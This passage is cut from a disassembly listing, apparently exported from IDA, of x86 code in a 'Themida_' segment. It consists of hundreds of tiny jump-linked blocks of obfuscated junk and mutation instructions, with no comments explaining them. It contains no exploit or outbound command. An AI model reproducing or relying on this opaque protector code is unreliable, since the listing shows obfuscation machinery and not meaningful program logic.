70359D1Ch and edi, ecx pop ecx push eax push 0FFFFFFFFh mov eax, [esp] add esp, 4 add edi, eax jmp loc_5A5D78 ; --------------------------------------------------------------------------- loc_5A5068: ; CODE XREF: Themida_:005A0EC5j add esp, 2 push small 30C4h mov [esp], dx push ecx push eax mov ah, 11h jmp loc_5A72E8 ; --------------------------------------------------------------------------- loc_5A507F: ; CODE XREF: Themida_:005A3993j push dword ptr [esp] pop edi push eax mov eax, esp add eax, 4 push 0F3Eh mov [esp], edi mov edi, 4 jmp loc_5A38D7 ; --------------------------------------------------------------------------- loc_5A509D: ; CODE XREF: Themida_:005A727Fj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 400Ah mov [esp], ebp jmp loc_5A4D6D ; --------------------------------------------------------------------------- loc_5A50BC: ; CODE XREF: Themida_:0059B82Ej mov ebx, [esp] add esp, 4 sub edx, 2E034361h add edx, edi push eax jmp loc_5AB972 ; --------------------------------------------------------------------------- loc_5A50D3: ; CODE XREF: Themida_:0059C705j sub eax, 2F31649Ch jmp loc_5AA8F2 ; --------------------------------------------------------------------------- loc_5A50DD: ; CODE XREF: Themida_:005A48D6j jmp loc_5A3093 ; --------------------------------------------------------------------------- loc_5A50E2: ; CODE XREF: Themida_:005AC839j sub ebx, 0FFFFFFFFh neg ebx or ebx, 157504CFh xor ebx, 0F4EB814Eh sub eax, ebx mov ebx, [esp] add esp, 4 add edx, eax mov eax, [esp] add esp, 4 shr edx, 5 push ebp jmp loc_5A4C4A ; --------------------------------------------------------------------------- loc_5A510F: ; CODE XREF: Themida_:005A7FBDj mov [esp], eax push esp mov eax, [esp] add esp, 4 push 9FBh mov [esp], esi push 67DC5EB6h pop esi shl esi, 5 jmp loc_59C2DA ; --------------------------------------------------------------------------- loc_5A5132: ; CODE XREF: Themida_:005ACD16j sub al, 64h sub al, dl push dx mov dh, 64h add al, dh jmp loc_5A1999 ; --------------------------------------------------------------------------- loc_5A5141: ; CODE XREF: Themida_:00599D46j mov esi, edx pop edx jmp loc_59F3F3 ; --------------------------------------------------------------------------- loc_5A5149: ; CODE XREF: Themida_:0059D265j push edx mov dh, al mov ch, dh push dword ptr [esp] pop edx add esp, 4 not ch mov al, ch pop ecx xchg al, dl add dl, 0FFh add dl, 0Bh sub bl, 6Bh jmp loc_5A1049 ; --------------------------------------------------------------------------- loc_5A516D: ; CODE XREF: Themida_:0059D9CFj push edx jmp loc_5AD863 ; --------------------------------------------------------------------------- loc_5A5173: ; CODE XREF: Themida_:005A6533j neg esi xor esi, 565064D7h jnp loc_59F970 jmp loc_5A6BDC ; --------------------------------------------------------------------------- loc_5A5186: ; CODE XREF: Themida_:0059C2E3j not ebp xchg eax, ebp xchg eax, ebp push esi push ebp pop esi pop ebp shl esi, 2 add esi, 0EE2F5B08h add eax, esi push dword ptr [esp] pop esi add esp, 4 push edi mov edi, 2 add eax, edi mov edi, [esp] push ebp mov ebp, esp push 1998h jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_5A51B8: ; CODE XREF: Themida_:005AA192j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 40000h and eax, ebp mov ebp, [esp] push eax push esp pop eax jmp loc_5A99EA ; --------------------------------------------------------------------------- loc_5A51D9: ; CODE XREF: Themida_:005AE803j ; Themida_:005AEA69j add al, 0E7h mov dl, al jmp loc_5A71C0 ; --------------------------------------------------------------------------- loc_5A51E2: ; CODE XREF: Themida_:005A6D1Bj ; Themida_:005AC577j xor eax, 326D2CECh xor ebp, eax jmp loc_5A3150 ; --------------------------------------------------------------------------- loc_5A51EE: ; CODE XREF: Themida_:005A02AAj ; Themida_:005A065Cj shr edx, 3 xor edx, 89E7F4Fh jnz loc_5AD063 and edx, 77B50859h jz loc_59F7C5 shr edx, 1 loc_5A520B: ; CODE XREF: Themida_:0059C2D5j ; Themida_:0059FEF7j push 4 pop ecx add ebp, ecx pop ecx push ebx push edi mov edi, 18404161h xor edi, 18404163h mov ebx, edi pop edi add ebp, ebx pop ebx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_5AE5D3 ; --------------------------------------------------------------------------- loc_5A5236: ; CODE XREF: Themida_:005A7B95j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] shr eax, 0Ah xor eax, ecx jmp loc_5A4993 ; --------------------------------------------------------------------------- loc_5A5252: ; CODE XREF: Themida_:005A6ABBj mov ecx, 581747E3h xor ecx, 486B6AA1h sub edi, ecx pop ecx push esi mov esi, 69E19F9h add edi, esi push dword ptr [esp] pop esi add esp, 4 add edi, edx jmp loc_59D5DA ; --------------------------------------------------------------------------- loc_5A5279: ; CODE XREF: Themida_:0059F373j mov edx, 0C930B957h add edi, 7F4D7FA1h jmp loc_5A3749 ; --------------------------------------------------------------------------- loc_5A5289: ; CODE XREF: Themida_:005AAAB7j mov ebx, 4 push ebp jmp loc_59F312 ; --------------------------------------------------------------------------- loc_5A5294: ; CODE XREF: Themida_:005A3E3Dj xor ecx, eax pop eax push esi jmp loc_5ACF34 ; --------------------------------------------------------------------------- loc_5A529D: ; CODE XREF: Themida_:005A1448j mov fs:[edx], ax jmp loc_5A7A95 ; --------------------------------------------------------------------------- loc_5A52A6: ; CODE XREF: Themida_:005A0251j mov dh, ch pop ecx jmp loc_5A4946 ; --------------------------------------------------------------------------- loc_5A52AE: ; DATA XREF: Themida_:00598840o lodsd cmp dword ptr [edi+20h], 0 jz loc_5AC124 push edx mov edx, 6EF32A51h jmp loc_5ADFCC ; --------------------------------------------------------------------------- loc_5A52C4: ; CODE XREF: Themida_:00599CFBj xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59E512 ; --------------------------------------------------------------------------- loc_5A52D2: ; CODE XREF: Themida_:005AD8CBj push 624B26FBh mov eax, [esp] add esp, 4 add edx, eax mov eax, [esp] push ecx jmp loc_5ADCDA ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 351Ah jmp loc_5ACA71 ; --------------------------------------------------------------------------- loc_5A530F: ; CODE XREF: Themida_:005AFDBEj mov edx, 2 add ebp, edx pop edx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 217Ch mov [esp], ebx mov ebx, 0 push eax jmp loc_5AA448 ; --------------------------------------------------------------------------- loc_5A533E: ; CODE XREF: Themida_:005A99F2j mov ecx, 192A02E1h or ecx, 13830FFAh push ebp push ecx mov ecx, 31E03419h mov ebp, ecx pop ecx xor ebp, 1B5D1456h jmp loc_5A89B1 ; --------------------------------------------------------------------------- loc_5A535E: ; CODE XREF: Themida_:0059A40Cj add eax, 2EA639B1h push edi push ebp sub esp, 4 mov [esp], eax push ebx mov ebx, 1B1A1FF3h mov eax, ebx jmp loc_59E9B2 ; --------------------------------------------------------------------------- loc_5A5378: ; CODE XREF: Themida_:005AF6D3j add dword ptr [esp], 50196C61h pop eax push ebx jmp loc_5AD0B2 ; --------------------------------------------------------------------------- loc_5A5386: ; CODE XREF: Themida_:005A3772j mov edi, ebp mov ebp, [esp] push edx push esp pop edx add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_59ADB5 ; --------------------------------------------------------------------------- loc_5A53A7: ; CODE XREF: Themida_:005A821Ej add ecx, 4 sub ecx, 2 jmp loc_5A8AC3 ; --------------------------------------------------------------------------- loc_5A53B8: ; CODE XREF: Themida_:005A464Fj dec edx push 1526h mov [esp], edx not dword ptr [esp] pop edx push ebx jmp loc_59C3EA ; --------------------------------------------------------------------------- loc_5A53CB: ; CODE XREF: Themida_:005AEC7Dj push 59Ah mov [esp], eax push ebx mov ebx, 795E50FAh mov eax, ebx pop ebx and eax, 5B534AE0h jmp loc_5A5898 ; --------------------------------------------------------------------------- loc_5A53E6: ; CODE XREF: Themida_:005A9AF6j push ebp mov ebp, esp add ebp, 4 jmp loc_5A2A16 ; --------------------------------------------------------------------------- loc_5A53F4: ; CODE XREF: Themida_:005AC3AFj mov ebx, 6C166766h jmp loc_5A9640 ; --------------------------------------------------------------------------- loc_5A53FE: ; CODE XREF: Themida_:0059C46Fj sub edi, ebx jmp loc_5A3741 ; --------------------------------------------------------------------------- loc_5A5405: ; CODE XREF: Themida_:00598CEDj mov [esp], eax jmp loc_5A0158 ; --------------------------------------------------------------------------- loc_5A540D: ; CODE XREF: Themida_:005A3218j add esp, 4 jmp loc_5AB815 ; --------------------------------------------------------------------------- loc_5A5415: ; CODE XREF: Themida_:loc_5A0756j shl edx, 3 jz loc_5AA60D push ebx jmp loc_59DE40 ; --------------------------------------------------------------------------- loc_5A5424: ; CODE XREF: Themida_:0059C8CCj add ebp, 4 push 7276h mov [esp], ecx push 57A4h mov [esp], edx jmp loc_59ADF6 ; --------------------------------------------------------------------------- loc_5A543F: ; CODE XREF: Themida_:loc_5A5A45j sub esp, 4 mov [esp], eax mov al, 0C0h neg al jmp loc_5ACCE6 ; --------------------------------------------------------------------------- loc_5A5451: ; CODE XREF: Themida_:0059E484j sub ebp, 37747F73h jmp loc_5A11FF ; --------------------------------------------------------------------------- loc_5A545C: ; CODE XREF: Themida_:005AE99Bj push dword ptr [esp] pop ebp add esp, 4 push edx push esp pop edx push eax mov eax, 4C9B70B3h jmp loc_59952D ; --------------------------------------------------------------------------- loc_5A5471: ; CODE XREF: Themida_:005A2DBAj dec esi add esi, 7F475EFEh jmp loc_5A5BE8 ; --------------------------------------------------------------------------- loc_5A547D: ; CODE XREF: Themida_:005AF0AAj sub ebx, esi sub ebx, 2526775Bh pop esi add ebx, 2FFB43D3h add ebx, 0F199CF22h add edx, ebx pop ebx jmp loc_5A4962 ; --------------------------------------------------------------------------- loc_5A549A: ; CODE XREF: Themida_:005A283Fj jns loc_5AB364 add esi, 21BD7600h jmp loc_5A01EE ; --------------------------------------------------------------------------- loc_5A54AB: ; CODE XREF: Themida_:005AF280j mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], edx jmp loc_59C756 ; --------------------------------------------------------------------------- loc_5A54BF: ; CODE XREF: Themida_:005A0935j pop esp mov [esp], ebp jmp loc_5AA704 ; --------------------------------------------------------------------------- loc_5A54C8: ; CODE XREF: Themida_:005A71CCj sub cl, 0EDh and dl, cl pop ecx push ecx sub esp, 4 mov [esp], eax mov al, dl mov ch, al jmp loc_59E126 ; --------------------------------------------------------------------------- loc_5A54E1: ; CODE XREF: Themida_:005AD9BCj and ebp, 2F0D1201h jmp loc_5AD3CE ; --------------------------------------------------------------------------- loc_5A54EC: ; CODE XREF: Themida_:005A745Ej mov ebx, edx jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_5A54F3: ; CODE XREF: Themida_:005AD7F3j sub dh, bl pop bx jmp loc_59D968 ; --------------------------------------------------------------------------- loc_5A54FC: ; CODE XREF: Themida_:0059EAFCj ; Themida_:005A2540j add ebp, 0FFFFFFFFh inc ebp sub ebp, 1 jmp loc_59B5C8 ; --------------------------------------------------------------------------- loc_5A550B: ; CODE XREF: Themida_:0059C723j sub ebx, 58142D19h sub ebx, 70101621h push 40EBh mov [esp], eax jmp loc_59997C ; --------------------------------------------------------------------------- loc_5A5524: ; CODE XREF: Themida_:005A7FFFj push eax jmp loc_5A8B16 ; --------------------------------------------------------------------------- loc_5A552A: ; CODE XREF: Themida_:005AD7D4j sub ecx, 1 push edx push ecx mov ecx, 158C058Dh dec ecx jmp loc_5A1C78 ; --------------------------------------------------------------------------- loc_5A553D: ; CODE XREF: Themida_:005990ACj sub ebx, 58D5807Ah sub ebp, ebx jmp loc_5A4B23 ; --------------------------------------------------------------------------- loc_5A554A: ; CODE XREF: Themida_:0059CD11j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A8620 ; --------------------------------------------------------------------------- loc_5A555F: ; CODE XREF: Themida_:0059D0C9j xor esi, 105422ABh sub ebp, 498E54D3h add ebp, esi push eax mov eax, 498E54D3h jmp loc_5AA254 ; --------------------------------------------------------------------------- loc_5A5578: ; CODE XREF: Themida_:005A08F9j ; Themida_:005A1A3Cj add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp pop dword ptr [esp] pop esp dec dword ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A5598: ; CODE XREF: Themida_:005A0A94j add dword ptr [esp+4], 36B6653h push edx mov edx, 413F0848h add dword ptr [esp+8], 5B8C0D3Ch sub [esp+8], edx sub dword ptr [esp+8], 5B8C0D3Ch pop edx mov eax, [esp] push edi mov edi, esp push eax mov eax, 1D92135Ah xor eax, 1D92135Eh add edi, eax pop eax jmp loc_5A6B15 ; --------------------------------------------------------------------------- loc_5A55D4: ; CODE XREF: Themida_:005AB83Aj add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_5A03C9 ; --------------------------------------------------------------------------- loc_5A55EB: ; CODE XREF: Themida_:005A2D11j xor ecx, 253883B5h sub eax, ecx pop ecx xor edx, eax pop eax and eax, edx jmp loc_5AC104 ; --------------------------------------------------------------------------- loc_5A55FE: ; CODE XREF: Themida_:005A0E23j add eax, 0C8E3C7Eh pop ebx sub eax, 4 xchg eax, [esp] jmp loc_5A7152 ; --------------------------------------------------------------------------- loc_5A560F: ; CODE XREF: Themida_:005A5A4Dj ; Themida_:005AD4DCj add esp, 4 inc ecx jle loc_5A764E jmp loc_59A37D ; --------------------------------------------------------------------------- loc_5A561E: ; CODE XREF: Themida_:0059BAD5j push esp push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 4 add esi, edx jmp loc_5A3CEA ; --------------------------------------------------------------------------- loc_5A5640: ; CODE XREF: Themida_:005A1BE9j ; Themida_:005A21A5j dec eax jmp loc_5AEE4F ; --------------------------------------------------------------------------- loc_5A5646: ; CODE XREF: Themida_:005AC3CCj mov esp, [esp] mov cx, [esp] push 1EB6h mov [esp], esi jmp loc_59A8D7 ; --------------------------------------------------------------------------- loc_5A565A: ; CODE XREF: Themida_:0059B3D9j pop eax jmp loc_59A2AA ; --------------------------------------------------------------------------- loc_5A5660: ; CODE XREF: Themida_:0059B1C0j mov edx, 4 add ebx, edx pop edx jmp loc_59A1F2 ; --------------------------------------------------------------------------- loc_5A566D: ; CODE XREF: Themida_:005A5E17j mov eax, [esp] push ebp mov ebp, esp jmp loc_59D626 ; --------------------------------------------------------------------------- loc_5A5678: ; CODE XREF: Themida_:loc_5A1BC7j xor ah, 0CBh jns loc_5A942F push edx jmp loc_5A6557 ; --------------------------------------------------------------------------- xor ebx, 4D689287h add al, 68h loc_5A568F: ; CODE XREF: Themida_:005AE5FEj add dword ptr [esp], 4 jmp loc_5AD8D0 ; --------------------------------------------------------------------------- loc_5A569B: ; CODE XREF: Themida_:005AF685j mov [esp], esi push edi jmp loc_5A5F3B ; --------------------------------------------------------------------------- loc_5A56A4: ; CODE XREF: Themida_:005AAD60j sub ecx, 47EA89E4h push ebp mov ebp, 225615A9h not ebp jmp loc_5A75F9 ; --------------------------------------------------------------------------- loc_5A56B7: ; CODE XREF: Themida_:0059C751j push ecx pop ebp pop ecx jmp loc_5AD1B4 ; --------------------------------------------------------------------------- loc_5A56BF: ; CODE XREF: Themida_:005A44A8j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A56D3: ; CODE XREF: Themida_:005AD23Cj neg edx xchg edx, ecx add ecx, 18D1240Fh jmp loc_5A6284 ; --------------------------------------------------------------------------- loc_5A56E2: ; CODE XREF: Themida_:0059D8BAj pop esi push esi mov esi, 59D00A5Ch push 0 jmp loc_5A3E96 ; --------------------------------------------------------------------------- loc_5A56F3: ; CODE XREF: Themida_:005A083Fj pop edi push esi mov esi, 1B2275E7h jmp loc_5A87A2 ; --------------------------------------------------------------------------- loc_5A56FF: ; CODE XREF: Themida_:0059FD5Fj push 4A8C30B1h pop esi not esi push edi jmp loc_5A87FC ; --------------------------------------------------------------------------- loc_5A570D: ; CODE XREF: Themida_:005A038Fj mov ebx, ebp pop ebp push ecx push ebx add dword ptr [esp], 4CCE070Ch pop ecx jmp loc_5A6ECE ; --------------------------------------------------------------------------- byte_5A571F db 66h ; DATA XREF: Themida_:00598710o dd 68240C8Bh, 41CEh, 68241C89h, 0E64h, 0FF7672E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5735: ; CODE XREF: Themida_:005AA648j push 0D55h mov [esp], ebx jmp loc_5A231F ; --------------------------------------------------------------------------- loc_5A5742: ; CODE XREF: Themida_:0059C1D9j shr edi, 5 jnz loc_59DC22 push ebp jmp loc_59BC70 ; --------------------------------------------------------------------------- mov eax, [esp] mov bl, dh push dword ptr [esp] pop eax jmp loc_59CD16 ; --------------------------------------------------------------------------- loc_5A575F: ; CODE XREF: Themida_:005A75FBj or edi, 152627D7h jmp loc_5A3D85 ; --------------------------------------------------------------------------- loc_5A576A: ; CODE XREF: Themida_:005A6A05j sub esp, 4 mov [esp], ebx push ecx mov ecx, 4833135Dh not ecx jmp loc_5A02BA ; --------------------------------------------------------------------------- loc_5A577D: ; CODE XREF: Themida_:005A6B10j push edi mov edi, 2D907C39h shr edi, 4 add edi, 9E7E9E31h jmp loc_59C8D8 ; --------------------------------------------------------------------------- loc_5A5791: ; CODE XREF: Themida_:0059A85Dj mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push edx sub esp, 4 mov [esp], esp push eax jmp loc_5AED83 ; --------------------------------------------------------------------------- loc_5A57B3: ; CODE XREF: Themida_:0059B53Bj mov ebp, 549145B8h xor ebp, 59FD4E1Ah push ecx mov ecx, 49F655E8h shr ecx, 6 xor ecx, 6645A0F8h jmp loc_5A3E42 ; --------------------------------------------------------------------------- loc_5A57D2: ; CODE XREF: Themida_:005AAEC7j push esi mov esi, eax push esi pop ebp mov esi, [esp] add esp, 4 jmp loc_59CA81 ; --------------------------------------------------------------------------- loc_5A57E2: ; CODE XREF: Themida_:005A6A6Fj pop esp movsx ecx, ax sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_599C44 ; --------------------------------------------------------------------------- loc_5A57FA: ; CODE XREF: Themida_:005A65CEj add bh, al pop eax or ch, bh jmp loc_5A1796 ; --------------------------------------------------------------------------- loc_5A5804: ; CODE XREF: Themida_:005A49D9j shl edx, 3 jmp loc_5AB026 ; --------------------------------------------------------------------------- loc_5A580C: ; CODE XREF: Themida_:0059D1C2j push eax jmp loc_59ACE8 ; --------------------------------------------------------------------------- loc_5A5812: ; CODE XREF: Themida_:005ACB45j add ebx, edi pop edi push 3EEBh jmp loc_5A2C6C ; --------------------------------------------------------------------------- loc_5A581F: ; CODE XREF: Themida_:005A91C4j push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub esi, 1FE91078h sub esi, 8B3749Ah add esi, 40D96C98h sub esi, 68AB291Ah sub esi, 214B200Ah jmp loc_5A1F2B ; --------------------------------------------------------------------------- loc_5A5854: ; CODE XREF: Themida_:005AB3D6j sub esp, 4 jmp loc_5AFD8F ; --------------------------------------------------------------------------- loc_5A585F: ; CODE XREF: Themida_:005AE66Aj pop eax push 244h mov [esp], eax sub esp, 4 mov [esp], esi mov esi, 10C5782Eh mov eax, 10C57830h sub eax, esi pop esi add esi, eax push dword ptr [esp] pop eax add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5AAEF9 ; --------------------------------------------------------------------------- loc_5A5898: ; CODE XREF: Themida_:005A53E1j push esi push eax mov eax, 673F5978h or eax, 3BE01680h xor eax, 66888EC0h mov esi, eax pop eax sub eax, esi mov esi, [esp] add esp, 4 add edi, eax mov eax, [esp] add esp, 4 add edi, ecx sub edi, 3FDA6FA8h pop ecx xchg edi, [esp] jmp loc_59E1BE ; --------------------------------------------------------------------------- loc_5A58D0: ; CODE XREF: Themida_:0059ADB0j mov edx, 43327ECAh inc edx jmp loc_5A42CB ; --------------------------------------------------------------------------- loc_5A58DB: ; CODE XREF: Themida_:0059C96Aj pop esp mov eax, ecx push dword ptr [esp] pop ecx jmp loc_59B8D8 ; --------------------------------------------------------------------------- loc_5A58E7: ; CODE XREF: Themida_:00598B8Bj ; Themida_:005AC4AAj sub ebp, 458AA4F4h sub ecx, ebp pop ebp sub edx, ecx jmp loc_5AD3BB ; --------------------------------------------------------------------------- loc_5A58F7: ; CODE XREF: Themida_:005A2815j shl ebx, 7 jmp loc_5A4A00 ; --------------------------------------------------------------------------- loc_5A58FF: ; CODE XREF: Themida_:0059DBAEj xor esi, 7C88B834h add eax, esi pop esi push ebx mov ebx, 12A712A8h neg ebx inc ebx jmp loc_5AD65B ; --------------------------------------------------------------------------- loc_5A5916: ; CODE XREF: Themida_:0059D3E2j add esp, 4 jmp loc_5A13F6 ; --------------------------------------------------------------------------- loc_5A5921: ; CODE XREF: Themida_:0059A7ADj pop ebp shl esi, 5 jmp loc_5A48EE ; --------------------------------------------------------------------------- loc_5A592A: ; CODE XREF: Themida_:00598E57j add edi, 1 inc edi sub edi, 0BA759ECh sub edi, 1D9770Eh sub edx, edi pop edi jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A5942: ; CODE XREF: Themida_:0059CA82j push ebp add dword ptr [esp], 2C587319h pop esi sub esi, 2C587319h mov ebp, [esp] add esp, 4 sub edi, 297A0622h jmp loc_5993BB ; --------------------------------------------------------------------------- loc_5A5962: ; CODE XREF: Themida_:0059BEDEj ; Themida_:005A864Dj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, 3CDD670Ch shl ebp, 4 dec ebp not ebp jmp loc_5AC55A ; --------------------------------------------------------------------------- loc_5A5985: ; CODE XREF: Themida_:0059932Bj jl loc_5A7431 push ebx mov ebx, 343D51B1h shl ebx, 7 add ebx, 41DA3701h jmp loc_59D3F9 ; --------------------------------------------------------------------------- loc_5A599F: ; CODE XREF: Themida_:005A06B6j mov ebx, edx mov edx, [esp] add esp, 4 sub edx, 7E0B6392h add edx, ebx push ebp mov ebp, 74F536E1h not ebp push esi jmp loc_5AD7D9 ; --------------------------------------------------------------------------- loc_5A59C0: ; CODE XREF: Themida_:005A71BBj mov bl, dl push edx mov dh, bl push ebx mov bl, dh mov ch, bl jmp loc_5A44C9 ; --------------------------------------------------------------------------- loc_5A59CF: ; CODE XREF: Themida_:005A8CEAj mov edx, 194910A5h mov ebp, edx pop edx or ebp, 2C756B6Dh xor ebp, 2DD61A5Fh xor ebp, 1A14D2E0h push ecx mov ecx, ebp jmp loc_5AF9EF ; --------------------------------------------------------------------------- loc_5A59F1: ; CODE XREF: Themida_:0059BE6Ej add esi, ebp push dword ptr [esp] pop ebp add esp, 4 push edi jmp loc_5A628B ; --------------------------------------------------------------------------- loc_5A5A03: ; CODE XREF: Themida_:0059DC83j pop ebp xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5A260B ; --------------------------------------------------------------------------- loc_5A5A10: ; CODE XREF: Themida_:005AADC0j mov [esp], esi mov esi, 63916B09h sub esi, 43B871CDh inc esi push edi mov edi, 4C551D72h sub esi, edi pop edi shr esi, 5 push ecx mov ecx, 13063A0Eh shr ecx, 4 push esi mov esi, 1BE64C9Bh and esi, 18595D94h jmp loc_5A6B5B ; --------------------------------------------------------------------------- loc_5A5A45: ; CODE XREF: Themida_:005A0B56j jmp loc_5A543F ; --------------------------------------------------------------------------- loc_5A5A4A: ; CODE XREF: Themida_:0059FEA6j shr edi, 7 jp loc_5A560F sub edi, 88F251h and eax, edi mov edi, [esp] jmp loc_5ACDF7 ; --------------------------------------------------------------------------- loc_5A5A63: ; CODE XREF: Themida_:005A1ABAj mov ebx, 151A193Ah xor ebx, 31104C6Eh add ebx, 3660445h shl ebx, 6 dec ebx jmp loc_5A90A6 ; --------------------------------------------------------------------------- loc_5A5A7D: ; CODE XREF: Themida_:0059CAC9j mov ebx, [esp] add esp, 4 jmp loc_5A3AF5 ; --------------------------------------------------------------------------- loc_5A5A88: ; CODE XREF: Themida_:0059B111j xchg edi, [esp] jmp loc_5A88DB ; --------------------------------------------------------------------------- loc_5A5A90: ; CODE XREF: Themida_:005A5F0Ej ; Themida_:005AFD6Dj mov [esp], edi jmp loc_5AC499 ; --------------------------------------------------------------------------- loc_5A5A98: ; CODE XREF: Themida_:005AF987j mov esp, [esp] push 47AAh mov [esp], ecx mov ecx, 66BD2E57h push ebx mov ebx, 10D771C3h dec ebx inc ebx jmp loc_5A217F ; --------------------------------------------------------------------------- loc_5A5AB5: ; CODE XREF: Themida_:005A4387j xor eax, 6FF97FBAh jmp loc_5A01B0 ; --------------------------------------------------------------------------- loc_5A5ABF: ; CODE XREF: Themida_:005A2E1Bj ; Themida_:005A8AD0j mov bh, dl jmp loc_5AE75C ; --------------------------------------------------------------------------- loc_5A5AC6: ; CODE XREF: Themida_:005A2618j mov edi, esp push ebp mov ebp, 4 jmp loc_5A4A61 ; --------------------------------------------------------------------------- loc_5A5AD3: ; CODE XREF: Themida_:005A423Aj pop esp jmp loc_5AD691 ; --------------------------------------------------------------------------- loc_5A5AD9: ; CODE XREF: Themida_:005AE0C5j dec dl sub dl, 0E4h sub al, dl jmp loc_5AB882 ; --------------------------------------------------------------------------- loc_5A5AE5: ; CODE XREF: Themida_:0059F47Bj pop ebp sub edi, ebx jmp loc_5A22BC ; --------------------------------------------------------------------------- loc_5A5AED: ; CODE XREF: Themida_:005AD08Aj mov ebp, 4 sub ecx, ebp mov ebp, [esp] push esi jmp loc_5ACB4A ; --------------------------------------------------------------------------- loc_5A5AFD: ; CODE XREF: Themida_:005A11A8j ; Themida_:005A7C3Aj sub eax, 60FD638Ch mov edi, eax pop eax xor edi, 69C1224Ch jns loc_5AE320 neg edi jz loc_59D9CE mov edx, edi mov ebp, ecx loc_5A5B1D: ; CODE XREF: Themida_:0059C327j sub al, bh pop ebx sub esp, 4 mov [esp], ecx push 2425h mov [esp], edx mov dl, 95h push ebx mov bh, 5 mov ch, bh jmp loc_59CAE3 ; --------------------------------------------------------------------------- loc_5A5B3A: ; CODE XREF: Themida_:005AE3ECj mov ah, ch pop ecx mov edx, [esp] add esp, 4 mov dh, ah pop eax pop ebx add bl, dh pop dx sub al, bl jmp loc_5A0303 ; --------------------------------------------------------------------------- loc_5A5B52: ; CODE XREF: Themida_:00598AA1j mov cl, 0D6h xor cl, 4Fh add cl, 0B7h jmp loc_59C244 ; --------------------------------------------------------------------------- loc_5A5B5F: ; CODE XREF: Themida_:005A4A42j push 38044AF4h mov ecx, [esp] push 5F81h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5AD7CA ; --------------------------------------------------------------------------- loc_5A5B7F: ; CODE XREF: Themida_:005A2C8Aj shl word ptr [esp], cl pushf jmp loc_5A4AF6 ; --------------------------------------------------------------------------- loc_5A5B89: ; CODE XREF: Themida_:0059E40Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5AF544 ; --------------------------------------------------------------------------- loc_5A5B97: ; CODE XREF: Themida_:005A1805j push eax jmp loc_5A7712 ; --------------------------------------------------------------------------- loc_5A5B9D: ; CODE XREF: Themida_:005AF6F2j add esp, 4 or ebx, ebx jnz loc_5A7E21 push 1E1Ch mov [esp], esi mov esi, esp jmp loc_5A79B3 ; --------------------------------------------------------------------------- loc_5A5BB7: ; CODE XREF: Themida_:005AF2F7j neg esi jmp loc_59A04B ; --------------------------------------------------------------------------- loc_5A5BBE: ; CODE XREF: Themida_:005A3648j xor ebx, esi mov esi, [esp] add esp, 4 add ebp, 3087331h add ebp, ebx sub ebp, 3087331h pop ebx add ebp, 0D1570C5Ch mov ecx, ebp mov ebp, [esp] jmp loc_5AC990 ; --------------------------------------------------------------------------- loc_5A5BE8: ; CODE XREF: Themida_:005A5478j push ebx push edi jmp loc_59D81A ; --------------------------------------------------------------------------- loc_5A5BEF: ; CODE XREF: Themida_:00598CCCj neg edi sub edi, 10701E0Fh xor edi, 33754943h dec edi add edi, 642376DBh xor edi, 49517B23h xor ecx, edi pop edi xor ecx, 5C1B18D7h add edx, 0F04129Dh add edx, ecx sub edx, 0F04129Dh pop ecx push ebp jmp loc_59CF81 ; --------------------------------------------------------------------------- loc_5A5C28: ; CODE XREF: Themida_:005A347Cj xor ebp, [esp] jmp loc_59A30C ; --------------------------------------------------------------------------- loc_5A5C30: ; CODE XREF: Themida_:0059B7F5j jmp loc_5A7882 ; --------------------------------------------------------------------------- loc_5A5C35: ; CODE XREF: Themida_:loc_59FCAFj ; Themida_:005AB4F2j mov edx, ecx jmp loc_5ABEF4 ; --------------------------------------------------------------------------- loc_5A5C3C: ; CODE XREF: Themida_:loc_5A2A61j jmp loc_5A7733 ; --------------------------------------------------------------------------- loc_5A5C41: ; CODE XREF: Themida_:005ACA7Dj pop edi pop dword ptr [esp] push edx jmp loc_59F900 ; --------------------------------------------------------------------------- loc_5A5C4B: ; CODE XREF: Themida_:005ADA27j pop ecx sub ecx, 946307CDh jmp loc_5AE1ED ; --------------------------------------------------------------------------- loc_5A5C57: ; CODE XREF: Themida_:005A7440j jmp loc_5AF7D0 ; --------------------------------------------------------------------------- loc_5A5C5C: ; CODE XREF: Themida_:005A7218j mov [esp], edx jmp loc_59DBF6 ; --------------------------------------------------------------------------- loc_5A5C64: ; CODE XREF: Themida_:005AD4AEj pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5AF5E5 ; --------------------------------------------------------------------------- loc_5A5C73: ; CODE XREF: 